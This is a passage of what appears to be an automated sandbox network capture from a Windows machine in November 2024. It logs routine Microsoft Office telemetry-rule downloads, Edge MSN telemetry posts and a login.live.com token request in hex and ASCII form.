2024-11-24 22:24:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:47 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:47 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9a08bc20-501e-00a0-39ae-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222447Z-178bfbc474bpnd5vhC1NYC4vr400000006kg00000000a3r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49876	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084186&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9313 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 22:24:47 UTC	9313	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 34 34 2e 31 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-24T22:24:44.177Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"loc
2024-11-24 22:24:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=fd1db3beaf3741a9acc879b24391eba3&HASH=fd1d&LV=202411&V=4&LU=1732487087516; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=02a54a12343f4749a82f28266c210a91; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3330 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:47 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a51f3b57-a01e-0021-27a4-3e814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222447Z-178bfbc474bmqmgjhC1NYCy16c00000006pg0000000092z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222447Z-178bfbc474btvfdfhC1NYCa2en00000006ng000000009zb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49880	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084286&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5276 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; msnup=
2024-11-24 22:24:47 UTC	5276	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 34 34 2e 32 38 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T22:24:44.282Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"locale
2024-11-24 22:24:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3117c5b530bd41f0ba4e72b795e32239&HASH=3117&LV=202411&V=4&LU=1732487087598; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=290333b28f2a46048c5e14081074f0bb; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3312 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49882	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:47 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084839&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5518 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; msnup=
2024-11-24 22:24:47 UTC	5518	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 34 34 2e 38 33 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-24T22:24:44.839Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"loc
2024-11-24 22:24:48 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cd031334e25a42ceb5585033230250b4&HASH=cd03&LV=202411&V=4&LU=1732487088398; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:48 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f518c84a342b48278091ca9b679c5502; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:48 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3559 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222448Z-174c587ffdfks6tlhC1TEBeza4000000053000000000fkx6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:48 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49884	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 22:24:48 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: 67512c6c-ddd9-4209-be6c-9b50e6892f76 PPServer: PPV: 30 H: PH1PEPF00012004 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:48 GMT Connection: close Content-Length: 11389
2024-11-24 22:24:49 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:49 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222449Z-174c587ffdf59vqchC1TEByk68000000058g000000004ms2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
